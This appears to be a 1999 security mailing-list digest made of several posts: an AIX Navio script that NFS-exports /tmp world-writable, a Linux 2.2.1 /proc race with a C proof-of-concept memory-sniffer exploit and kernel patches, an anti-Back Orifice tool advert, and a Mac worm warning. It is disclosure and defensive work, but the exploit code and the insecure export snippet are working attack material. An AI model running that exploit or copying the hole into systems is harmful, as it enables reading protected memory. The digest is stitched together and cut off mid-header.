Get Your Private, Free Email at http://www.hotmail.com
Delivered-To: nt-out-link@iss.net
Received: (qmail 23021 invoked by alias); 2 Feb 1999 20:34:49 -0000
Delivered-To: nt-out@iss.net
Received: (qmail 22893 invoked by uid 15); 2 Feb 1999 20:34:45 -0000
Received: (qmail 22855 invoked from network); 2 Feb 1999 20:34:42 -0000
Received: from loki.iss.net (root@208.21.0.3)
by phoenix.iss.net with SMTP; 2 Feb 1999 20:34:42 -0000
Received: from arden.iss.net (nt-mod@arden.iss.net [208.21.0.8]) by loki.iss.net (8.8.7/8.7.3) with ESMTP id PAA23494 for <ntsecurity@phoenix.iss.net>; Tue, 2 Feb 1999 15:33:12 -0500
Received: (from nt-mod@localhost) by arden.iss.net (8.8.5/8.7.3) id PAA26652 for ntsecurity@iss.net; Tue, 2 Feb 1999 15:34:37 -0500
Received: (qmail 9725 invoked from network); 2 Feb 1999 17:37:58 -0000
Received: from loki.iss.net (root@208.21.0.3)
by phoenix.iss.net with SMTP; 2 Feb 1999 17:37:58 -0000
Received: from send501.yahoomail.com (web504.yahoomail.com [128.11.68.71]) by loki.iss.net (8.8.7/8.7.3) with SMTP id MAA08342 for <ntsecurity@iss.net>; Tue, 2 Feb 1999 12:36:29 -0500
While configuring some IBM Network Station 300s I noticed that my /tmp
directory had become NFS exported and world read/writeable!! I traced
this to one of the configuration scripts that is included in AIX's
netstation.navio-com.rte 1.1.0.1 used for the Navio NC browser. >From /usr/netstation/bin/Xnav: 1) Magic number is munged ... pet peeve of mine: +1 # @(#)93 1.3 src/nav/aix/Xnav.cpp, navio, 41navio110 +2 #!/bin/ksh +3 # ... 2) This part is somewhat problematic: ... +98 grep "/tmp" /etc/exports > /dev/null 2>&1 +99 if [ $? -ne 0 ]; then +100 echo "/tmp" >> /etc/exports +101 /usr/sbin/exportfs -a +102 fi ... The fix: 1) Do you have netstation.navio.comm-rte installed? # lslpp -l netstation.navio-comm-rte 2) Check if /tmp is exported with: # exportfs 3) If /tmp is exported run: # /usr/sbin/rmnfsexp -d /tmp -B This emphasizes the importance of running a regular "sanity" security audits such as satan or ISS. regards from a long-tine bugtraq lurker, Ryan ////////////////////////////////////////////////////////////////////////// /proc 3 way smp race condition in Linux 2.2.1 kernel ////////////////////////////////////////////////////////////////////////// Date: Tue, 2 Feb 1999 17:39:13 +0100 From: Andrea Arcangeli <andrea@E-MIND.COM> To: BUGTRAQ@netspace.org Subject: [patch] /proc race fixes for 2.2.1 (fwd) This is a short analysis I've done yesterday about the array.c (/proc/pid/...) races of Linux-2.2.0 and Linux-2.2.1. These races was leading to very easily reproducible crashes and Oopses in linux-2.2.0. But Linux-2.2.1 is not been completly fixed. There's still a potential race very hard to reproduce (I think you need at least a 3way smp). You can find a kind of /proc sniffer in this email. At the end of this email you'll find my complete fix for 2.2.1. The race if exploited can lead at least to reading data from random used memory. The memory that could be sniffed could contain any kind of useful data (userspace process memory, cache or whatever). It's not possible to grab the whole page but it's possible only to reproduce the contents of the memory reading and decoding the output of /proc. Maybe it's impossible to exploit the SMP race I am pointing out even if on 3way smp because of timing issues, but there's no a lock that assures atomicity. Side note: I hope to have diffed all the interesting changes from my tree to 2.2.1 at the end of the email (I don't have the time to check). If for some reason the patch won't apply cleanly or will not work don't bother me in mass, but instead go in sync with my personal kernel tree to get this race fixed (I take it open just to allow other people to try it) at ftp://e-mind.com/pub/linux/arca-tree/2.2.1_arca-2.gz. My tree has also many other improvements, bugfix and features (not only developed by me, e.g. the ieee1284-parport code developed by Tim Waugth) and can have any kind of bugs in it so ask me before use it for production (so I'll tell you what you have to remove to get it rock solid for sure). Andrea Arcangeli ---------- Forwarded message ---------- Date: Tue, 2 Feb 1999 01:07:07 +0100 (CET) >From: Andrea Arcangeli <andrea@e-mind.com> To: linux-kernel@vger.rutgers.edu Subject: [patch] /proc race fixes for 2.2.1 2.2.1 reintroduced a SMP race in array.c. The SMP race is that wait(2) can free the kernel stack of the zombie process while array.c is using it. Once the page is freed it can be reused, and if it get recycled before array.c has finished to use it, you could reconstruct part of RAM that you should not be allowed to read (looking at /proc data) and array.c could get in problems during its lifetime (not checked this last but it's a guess). In practice the window for the race is small and I think you would need at least 3 CPU to reproduce this I think. The first CPU has to fork a process that will do only an _exit(2). Then has to wait that the forked process become a zombie, and once it's a zombie it has to start a /proc sniffer that will read /proc/zombiepid/stat on the other cpu. This sniffer will save its contents to a buffer at the first pass and then it will start reading /proc/../stat in loop and comparing it with the one saved in the buffer, and it will then log the output of /proc/../stat if it will be changed compared with the saved data sample in the buffer. Once the sniffer is at regime (the loop that search for /proc changes is started) the task on the first CPU (the one that forked the sniffer) has to do a wait(2) so that the stack of the zombie process will be released. A bit before doing the wait(2) you must eat all the memory avaliable with a trashing proggy and this last has to run in a new CPU (so you need at least a 3way smp). Since this last memory-trasher proggy will start allocing tons of memory, you'll have a chance that the pages freed by wait(2) will be realloced by the kernel before the read of the /proc sniffer will finish. It's theorically possible to sniff data from the kernel exploiting the /proc race but it's really hard and only on some very parallel hardware. I also written a sample of exploit (really ugly, I written it very fast and without thinking too much about it because I think to spend better my time in fixing the bug or writing useful code than in writing exploits.... and because I realizied that on the hardware I have here it would have never worked ;). /* * Copyright (C) 1999 Andrea Arcangeli * Linux-2.2.1 /proc SMP race sniffer */ #include <stdio.h> #include <fcntl.h> #include <sched.h> #include <pthread.h> static volatile int pid = -1; static int prog_length; static pthread_mutex_t pid_lock = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t zombie_lock = PTHREAD_MUTEX_INITIALIZER; static int get_current_pid(void) { int __pid; pthread_mutex_lock(&pid_lock); __pid = pid; pthread_mutex_unlock(&pid_lock); return __pid; } static void * sniffer(void *dummy) { int cache_pid = -1, fd = -1; char str[50], buf[2000], sample[2000]; pthread_mutex_lock(&zombie_lock); pthread_mutex_unlock(&zombie_lock); for (;;) { int length_cmp; if (get_current_pid() != cache_pid) { pthread_mutex_lock(&zombie_lock); cache_pid = pid; snprintf(str, 50, "/proc/%d/stat", cache_pid); if (fd > 0) close(fd); fd = open(str, O_RDONLY|O_NONBLOCK); if (fd > 0) { int length; length = read(fd, &buf, 2000); if (length > 0) { length_cmp = length; memcpy(sample, buf, length); sample[length-1] = 0; } } pthread_mutex_unlock(&zombie_lock); } if (fd > 0) { int length; lseek(fd, 0, SEEK_SET); length = read(fd, &buf, 200); buf[length-1] = 0; if (length >= length_cmp && memcmp(buf, sample, length_cmp)) printf("length %d, pid %d\n" "original data: %s\n" "modifyed data: %s\n", length, cache_pid, sample, buf); } } } static int is_zombie(int __pid) { char str[50], state; FILE * status; snprintf(str, 50, "/proc/%d/status", __pid); status = fopen(str, "r"); if (!status) { perror("open"); exit(2); } fscanf(status, "%*s\t%*s\nState:\t%c", &state); fclose(status); if (state != 'Z') return 0; return 1; } int main(int argc, char *argv[]) { int dummy; pthread_t task_struct_sniffer; pthread_mutex_lock(&zombie_lock); if (pthread_create(&task_struct_sniffer, NULL, sniffer, NULL)) { perror("pthread_create"); exit(1); } for (;;) { int __pid = fork(); if (!__pid) _exit(0); while (!is_zombie(__pid)); pthread_mutex_lock(&pid_lock); pid = __pid; pthread_mutex_unlock(&pid_lock); pthread_mutex_unlock(&zombie_lock); usleep(1); wait(&dummy); pthread_mutex_lock(&zombie_lock); } pthread_mutex_unlock(&zombie_lock); } Probably it has also bugs (since I have no chance to make it working here I am not going to look at it further), I attached it here only in the case someone is interested on a exploit sample. BTW, is there a better way to know when the child is become a zombie than reading /proc/pidofchild/status ? I thought to catch the SIGCHILD signal but as first I was not sure that this way a wait() would be wakenup anyway (too lazy to check in signal.c ;), and as second with the /proc/xxx/status approch I had to write less code anyway and since it was a not performance critical piece of code I had no dubit of the way to take ;). I also understood very well the reason of the 2.2.0 oopses and process in D state. It was happening something like this: `ps` tsk ------------- ----------------- sys_read() lock_kernel() do_page_fault() array_read() down(tsk->mm) find_vma() get_process_array() handle_mm_fault() lock_kernel() /* woowoo so spin on the big kernel lock */ get_stat() grab_task() down(tsk->mm) /* just owned by tsk */ schedule() /* so release the big kernel lock */ tsk gets the big kernel lock here finish the page fault __up() wake_up_process(`ps`) many othe thing execve() /* this is the harming */ mmput(tsk->mm); tsk->mm = mm_alloc(); (mm->count = 1) finish execve... .... everything he wants .... now `ps` get rescheduled and own the mm->semaphore (of a mm_struct that is not tsk->mm anymore) release_task(tsk); mmput(tsk->mm); (but mm->count was 1!!) exit_mmap(); zap_page_range() /* aieee! */ at the first fault it will get a mm = &init_mm !! Thinks like this can't happens in 2.2.0-pre9 just because tsk->mm was still referencing the old mm of the process (before the execve) because tsk->mm was a copy and not a runtime value. Obviously there was the stack overflow and performances problem in the (1) copy approch. So now I fixed all races with a zerocopy approch (originally suggested by Linus that increments the page count of the process stack instead of doing the copy, but it also assure that array.c always use the mm it has get before (with mmget())). Works fine here. Patch against 2.2.1: --- /tmp/array.c Tue Feb 2 00:08:07 1999 +++ linux/fs/proc/array.c Mon Feb 1 23:51:51 1999 @@ -389 +390,30 @@ -static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr) +/* + * Caller must release_mm the mm_struct later. + * You don't get any access to init_mm. + */ +static struct mm_struct * grab_mm(int pid) +{ + struct mm_struct * mm = NULL; + struct task_struct * tsk; + + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + /* + * NOTE: this doesn't race because we are protected by the + * big kernel lock. -arca + */ + if (tsk && tsk->mm && tsk->mm != &init_mm) + mmget(mm = tsk->mm); + read_unlock(&tasklist_lock); + if (mm) + down(&mm->mmap_sem); + return mm; +} + +static void release_mm(struct mm_struct *mm) +{ + up(&mm->mmap_sem); + mmput(mm); +} + +static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr) @@ -395 +425 @@ - if (!p || !p->mm || ptr >= TASK_SIZE) + if (ptr >= TASK_SIZE) @@ -398,2 +428,2 @@ - if (!p->mm->pgd) { - printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid); + if (!mm->pgd) { + printk(KERN_DEBUG "missing pgd for mm %p\n", mm); @@ -403 +433 @@ - page_dir = pgd_offset(p->mm,ptr); + page_dir = pgd_offset(mm,ptr); @@ -425 +455 @@ -static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer) +static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer) @@ -434 +464 @@ - addr = get_phys_addr(p, start); + addr = get_phys_addr(mm, start); @@ -456,5 +486,2 @@ - struct task_struct *p; - - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct *mm; + int res = 0; @@ -462,3 +489,6 @@ - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->env_start, p->mm->env_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->env_start, mm->env_end, buffer); + release_mm(mm); + } + return res; @@ -469 +499,2 @@ - struct task_struct *p; + struct mm_struct *mm; + int res = 0; @@ -471,6 +502,6 @@ - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->arg_start, mm->arg_end, buffer); + release_mm(mm); + } + return res; @@ -725 +707 @@ -static inline char * task_mem(struct task_struct *p, char *buffer) +static inline char * task_mem(struct mm_struct * mm, char *buffer) @@ -727,4 +709,2 @@ - struct mm_struct * mm = p->mm; - - if (mm && mm != &init_mm) { - struct vm_area_struct * vma = mm->mmap; + if (mm) { + struct vm_area_struct * vma; @@ -819,0 +800,39 @@ +static struct task_struct *grab_task(int pid, struct mm_struct ** mm) +{ + struct task_struct *tsk = current; + + *mm = NULL; + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + if (tsk) + { + struct mm_struct * __mm; + struct page * page = mem_map + MAP_NR(tsk); + atomic_inc(&page->count); + /* + * NOTE: this doesn't race because we are protected + * by the big kernel lock. -arca + */ + __mm = tsk->mm; + if (__mm && __mm != &init_mm) + { + mmget(__mm); + *mm = __mm; + } + } + read_unlock(&tasklist_lock); + if (*mm) + down(&(*mm)->mmap_sem); + + return tsk; +} + +static void release_task(struct task_struct *tsk, struct mm_struct * mm) +{ + if (mm) + { + up(&mm->mmap_sem); + mmput(mm); + } + free_pages((unsigned long) tsk, 1); +} @@ -825,4 +844,3 @@ - - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct * mm; + + tsk = grab_task(pid, &mm); @@ -833 +851 @@ - buffer = task_mem(tsk, buffer); + buffer = task_mem(mm, buffer); @@ -835,0 +854 @@ + release_task(tsk, mm); @@ -841,0 +861 @@ + struct mm_struct * mm; @@ -846,0 +867 @@ + int res; @@ -848,3 +869 @@ - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + tsk = grab_task(pid, &mm); @@ -855,3 +874,4 @@ - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct *vma = tsk->mm->mmap; - while (vma) { + if (mm) { + struct vm_area_struct *vma; + + for (vma = mm->mmap; vma; vma = vma->vm_next) { @@ -859 +878,0 @@ - vma = vma->vm_next; @@ -860,0 +880 @@ + @@ -881 +901 @@ - return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ + res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ @@ -907 +927 @@ - tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */ + mm ? mm->rss : 0, /* you might want to shift this left 3 */ @@ -909,3 +929,3 @@ - tsk->mm ? tsk->mm->start_code : 0, - tsk->mm ? tsk->mm->end_code : 0, - tsk->mm ? tsk->mm->start_stack : 0, + mm ? mm->start_code : 0, + mm ? mm->end_code : 0, + mm ? mm->start_stack : 0, @@ -925,0 +946,3 @@ + + release_task(tsk, mm); + return res; @@ -1003 +1025,0 @@ - struct task_struct *tsk; @@ -1004,0 +1027 @@ + struct mm_struct *mm; @@ -1006,7 +1029,3 @@ - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!tsk) - return 0; - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct * vma = tsk->mm->mmap; + mm = grab_mm(pid); + if (mm) { + struct vm_area_struct * vma = mm->mmap; @@ -1015 +1034 @@ - pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start); + pgd_t *pgd = pgd_offset(mm, vma->vm_start); @@ -1032,0 +1052 @@ + release_mm(mm); @@ -1070 +1089,0 @@ - @@ -1074 +1093,2 @@ - struct task_struct *p; + struct task_struct * p; + struct mm_struct * mm; @@ -1079 +1098,0 @@ - int volatile_task; @@ -1091,3 +1110 @@ - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + p = grab_task(pid, &mm); @@ -1097 +1114 @@ - if (!p->mm || p->mm == &init_mm || count == 0) + if (!mm || count == 0) @@ -1100,3 +1116,0 @@ - /* Check whether the mmaps could change if we sleep */ - volatile_task = (p != current || atomic_read(&p->mm->count) > 1); - @@ -1108 +1122 @@ - for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) + for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) @@ -1179,6 +1192,0 @@ - - /* By writing to user space, we might have slept. - * Stop the loop, to avoid a race condition. - */ - if (volatile_task) - break; @@ -1190,0 +1199 @@ + release_task(p, mm); @@ -1202 +1211,2 @@ - struct task_struct * tsk = current ; + struct task_struct * tsk; + struct mm_struct * mm; @@ -1205,6 +1215,2 @@ - read_lock(&tasklist_lock); - if (pid != tsk->pid) - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - - if (tsk == NULL) + tsk = grab_task(pid, &mm); + if (!tsk) @@ -1223,0 +1230 @@ + release_task(tsk, mm); Andrea Arcangeli - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/ -------------------------------------------------------------------------------- Date: Thu, 4 Feb 1999 15:09:06 +0100 From: Andrea Arcangeli <andrea@e-mind.com> To: BUGTRAQ@netspace.org Subject: Re: [patch] /proc race fixes for 2.2.1 (fwd) On Tue, 2 Feb 1999, Andrea Arcangeli wrote: > Side note: I hope to have diffed all the interesting changes from my tree > to 2.2.1 at the end of the email (I don't have the time to check). If for Woops I had a bug in the patch. The bug is that when the task to grab is the current one we must not get the mmap_semaphore otherwise we left a window open for deadlocking on it. Here the fixed patch against 2.2.1 again. Index: array.c =================================================================== RCS file: /var/cvs/linux/fs/proc/array.c,v retrieving revision 1.1.1.5 diff -u -r1.1.1.5 array.c --- array.c 1999/01/29 14:50:53 1.1.1.5 +++ linux/fs/proc/array.c 1999/02/04 13:59:26 @@ -386,21 +386,57 @@ return sprintf(buffer, "%s\n", saved_command_line); } -static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr) +/* + * Caller must release_mm the mm_struct later. + * You don't get any access to init_mm. + */ +static struct mm_struct * grab_mm(int pid) +{ + struct mm_struct * mm; + struct task_struct * tsk; + + if (current->pid == pid) + return current->mm; + + mm = NULL; + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + /* + * NOTE: this doesn't race because we are protected by the + * big kernel lock. -arca + */ + if (tsk && tsk->mm && tsk->mm != &init_mm) + mmget(mm = tsk->mm); + read_unlock(&tasklist_lock); + if (mm) + down(&mm->mmap_sem); + return mm; +} + +static void release_mm(struct mm_struct *mm) { + if (current->mm != mm) + { + up(&mm->mmap_sem); + mmput(mm); + } +} + +static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr) +{ pgd_t *page_dir; pmd_t *page_middle; pte_t pte; - if (!p || !p->mm || ptr >= TASK_SIZE) + if (ptr >= TASK_SIZE) return 0; /* Check for NULL pgd .. shouldn't happen! */ - if (!p->mm->pgd) { - printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid); + if (!mm->pgd) { + printk(KERN_DEBUG "missing pgd for mm %p\n", mm); return 0; } - page_dir = pgd_offset(p->mm,ptr); + page_dir = pgd_offset(mm,ptr); if (pgd_none(*page_dir)) return 0; if (pgd_bad(*page_dir)) { @@ -422,7 +458,7 @@ return pte_page(pte) + (ptr & ~PAGE_MASK); } -static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer) +static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer) { unsigned long addr; int size = 0, result = 0; @@ -431,7 +467,7 @@ if (start >= end) return result; for (;;) { - addr = get_phys_addr(p, start); + addr = get_phys_addr(mm, start); if (!addr) return result; do { @@ -453,27 +489,28 @@ static int get_env(int pid, char * buffer) { - struct task_struct *p; - - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct *mm; + int res = 0; - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->env_start, p->mm->env_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->env_start, mm->env_end, buffer); + release_mm(mm); + } + return res; } static int get_arg(int pid, char * buffer) { - struct task_struct *p; + struct mm_struct *mm; + int res = 0; - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->arg_start, mm->arg_end, buffer); + release_mm(mm); + } + return res; } /* @@ -722,12 +759,10 @@ return buffer; } -static inline char * task_mem(struct task_struct *p, char *buffer) +static inline char * task_mem(struct mm_struct * mm, char *buffer) { - struct mm_struct * mm = p->mm; - - if (mm && mm != &init_mm) { - struct vm_area_struct * vma = mm->mmap; + if (mm) { + struct vm_area_struct * vma; unsigned long data = 0, stack = 0; unsigned long exec = 0, lib = 0; @@ -817,47 +852,96 @@ cap_t(p->cap_effective)); } +static struct task_struct *grab_task(int pid, struct mm_struct ** mm) +{ + struct task_struct *tsk = current; + + if (current->pid == pid) + { + *mm = current->mm; + return current; + } + + *mm = NULL; + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + if (tsk) + { + struct mm_struct * __mm; + struct page * page = mem_map + MAP_NR(tsk); + atomic_inc(&page->count); + /* + * NOTE: this doesn't race because we are protected + * by the big kernel lock. -arca + */ + __mm = tsk->mm; + if (__mm && __mm != &init_mm) + { + mmget(__mm); + *mm = __mm; + } + } + read_unlock(&tasklist_lock); + if (*mm) + down(&(*mm)->mmap_sem); + + return tsk; +} + +static void release_task(struct task_struct *tsk, struct mm_struct * mm) +{ + if (current != tsk) + { + if (mm) + { + up(&mm->mmap_sem); + mmput(mm); + } + free_pages((unsigned long) tsk, 1); + } +} static int get_status(int pid, char * buffer) { char * orig = buffer; struct task_struct *tsk; - - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct * mm; + + tsk = grab_task(pid, &mm); if (!tsk) return 0; buffer = task_name(tsk, buffer); buffer = task_state(tsk, buffer); - buffer = task_mem(tsk, buffer); + buffer = task_mem(mm, buffer); buffer = task_sig(tsk, buffer); buffer = task_cap(tsk, buffer); + release_task(tsk, mm); return buffer - orig; } static int get_stat(int pid, char * buffer) { struct task_struct *tsk; + struct mm_struct * mm; unsigned long vsize, eip, esp, wchan; long priority, nice; int tty_pgrp; sigset_t sigign, sigcatch; char state; + int res; - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + tsk = grab_task(pid, &mm); if (!tsk) return 0; state = *get_task_state(tsk); vsize = eip = esp = 0; - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct *vma = tsk->mm->mmap; - while (vma) { + if (mm) { + struct vm_area_struct *vma; + + for (vma = mm->mmap; vma; vma = vma->vm_next) { vsize += vma->vm_end - vma->vm_start; - vma = vma->vm_next; } + eip = KSTK_EIP(tsk); esp = KSTK_ESP(tsk); } @@ -878,7 +962,7 @@ nice = tsk->priority; nice = 20 - (nice * 20 + DEF_PRIORITY / 2) / DEF_PRIORITY; - return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ + res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ %lu %lu %lu %lu %lu %ld %ld %ld %ld %ld %ld %lu %lu %ld %lu %lu %lu %lu %lu \ %lu %lu %lu %lu %lu %lu %lu %lu %d\n", pid, @@ -904,11 +988,11 @@ tsk->it_real_value, tsk->start_time, vsize, - tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */ + mm ? mm->rss : 0, /* you might want to shift this left 3 */ tsk->rlim ? tsk->rlim[RLIMIT_RSS].rlim_cur : 0, - tsk->mm ? tsk->mm->start_code : 0, - tsk->mm ? tsk->mm->end_code : 0, - tsk->mm ? tsk->mm->start_stack : 0, + mm ? mm->start_code : 0, + mm ? mm->end_code : 0, + mm ? mm->start_stack : 0, esp, eip, /* The signal information here is obsolete. @@ -923,6 +1007,9 @@ tsk->nswap, tsk->cnswap, tsk->exit_signal); + + release_task(tsk, mm); + return res; } static inline void statm_pte_range(pmd_t * pmd, unsigned long address, unsigned long size, @@ -1000,19 +1087,15 @@ static int get_statm(int pid, char * buffer) { - struct task_struct *tsk; int size=0, resident=0, share=0, trs=0, lrs=0, drs=0, dt=0; + struct mm_struct *mm; - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!tsk) - return 0; - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct * vma = tsk->mm->mmap; + mm = grab_mm(pid); + if (mm) { + struct vm_area_struct * vma = mm->mmap; while (vma) { - pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start); + pgd_t *pgd = pgd_offset(mm, vma->vm_start); int pages = 0, shared = 0, dirty = 0, total = 0; statm_pgd_range(pgd, vma->vm_start, vma->vm_end, &pages, &shared, &dirty, &total); @@ -1030,6 +1113,7 @@ drs += pages; vma = vma->vm_next; } + release_mm(mm); } return sprintf(buffer,"%d %d %d %d %d %d %d\n", size, resident, share, trs, lrs, drs, dt); @@ -1067,16 +1151,15 @@ #define MAPS_LINE_MAX MAPS_LINE_MAX8 - static ssize_t read_maps (int pid, struct file * file, char * buf, size_t count, loff_t *ppos) { - struct task_struct *p; + struct task_struct * p; + struct mm_struct * mm; struct vm_area_struct * map, * next; char * destptr = buf, * buffer; loff_t lineno; ssize_t column, i; - int volatile_task; long retval; /* @@ -1088,24 +1171,19 @@ goto out; retval = -EINVAL; - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + p = grab_task(pid, &mm); if (!p) goto freepage_out; - if (!p->mm || p->mm == &init_mm || count == 0) + if (!mm || count == 0) goto getlen_out; - /* Check whether the mmaps could change if we sleep */ - volatile_task = (p != current || atomic_read(&p->mm->count) > 1); - /* decode f_pos */ lineno = *ppos >> MAPS_LINE_SHIFT; column = *ppos & (MAPS_LINE_LENGTH-1); /* quickly go to line lineno */ - for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) + for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) continue; for ( ; map ; map = next ) { @@ -1176,18 +1254,13 @@ /* done? */ if (count == 0) break; - - /* By writing to user space, we might have slept. - * Stop the loop, to avoid a race condition. - */ - if (volatile_task) - break; } /* encode f_pos */ *ppos = (lineno << MAPS_LINE_SHIFT) + column; getlen_out: + release_task(p, mm); retval = destptr - buf; freepage_out: @@ -1199,15 +1272,12 @@ #ifdef __SMP__ static int get_pidcpu(int pid, char * buffer) { - struct task_struct * tsk = current ; + struct task_struct * tsk; + struct mm_struct * mm; int i, len; - - read_lock(&tasklist_lock); - if (pid != tsk->pid) - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (tsk == NULL) + tsk = grab_task(pid, &mm); + if (!tsk) return 0; len = sprintf(buffer, @@ -1221,6 +1291,7 @@ tsk->per_cpu_utime[cpu_logical_map(i)], tsk->per_cpu_stime[cpu_logical_map(i)]); + release_task(tsk, mm); return len; } #endif Excuse me for the mistake. I noticed the bug only some mintues ago. Andrea Arcangeli ////////////////////////////////////////////////////////////////////////// From: "Jammer Developers Team" <jammer@mail.ru> To: <Undisclosed.Recipients@camel.mail.ru> Subject: Jammer - the complete protection against BO Date: Mon, 1 Feb 1999 04:48:12 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 The Jammer does monitor ALL UDP traffic on your computer, so you can sleep well & have all passwords of miserable hackers. When the Jammer program gets the BO request packet it starts the decryption process & generates the workable password of BO server. At the end of decryption the program puts the password string into the readable file on your hard disk & sends the warring massage toward the source about the Jammer protection. The Jammer works with low level network driver & always communicates with Network Driver Interface Specification (NDIS), unlike Nuke Nabber, NoBo and BOFreeze (they use the higher level such as Winsock). Jammer Developers Team http://start.at/jammer ////////////////////////////////////////////////////////////////////////// Approved-By: Russ.Cooper@RC.ON.CA Received: from ae023019 ([194.65.152.123]) by ANTARTICO.mail.telepac.pt (Intermail v3.1 117 241) with SMTP id <19990201105748.WNL20839@[194.65.152.123]> for <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>; Mon, 1 Feb 1999 10:57:48 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 Importance: Normal Message-ID: <000a01be4dd1$c93c04d0$131710ac@paginasamarelas.pt> Date: Mon, 1 Feb 1999 10:56:34 -0000 Reply-To: ruipmartins@mail.telepac.pt Sender: Windows NT BugTraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM> From: Firstname Lastname <ruipmartins@mail.telepac.pt> Subject: AutoStart Mac Worm in NT volumes To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Just FYI: The well know and dangerous MacOS worm AutoStart is capable of installing itself on Windows NT Server MacVolumes. If you have a "Deldb" file on the root of that volume you should have that worm. The worm is not visible to any Wintel anti-virus software, but the virus file can be seen in the root of the Windows NT Server machine, and can be deleted. Rui Pedro Patricio Cabrita Martins TÈcnico de Sistemas ruipmartins@mail.telepac.pt rmartins@paginasamarelas.pt bip: 094468-802571 ------------------------------------------------------------------------- | Criando conte˙do em portuguÍs: | | http://members.tripod.com/~ruipmartins/index.html |††††††† As Ilhas MÌticas do Atl‚ntico | http://www.terravista.pt/Ancora/1212/index.htm |††††††† As Armas Secretas da Alemanha na II Grande Guerra | http://www.geocities.com/Athens/Forum/3257/index.htm |††††††† A Primeira Fase dos Descobrimentos Portugueses -=- ////////////////////////////////////////////////////////////////////////// Delivered-To dok-cruciphux@dok.org Received (qmail 28028 invoked from network); 31 Jan 1999 223603 -0000 Received from merde.dis.org (majordomo@206.14.78.2) by physical.graffiti.datacrest.com with SMTP; 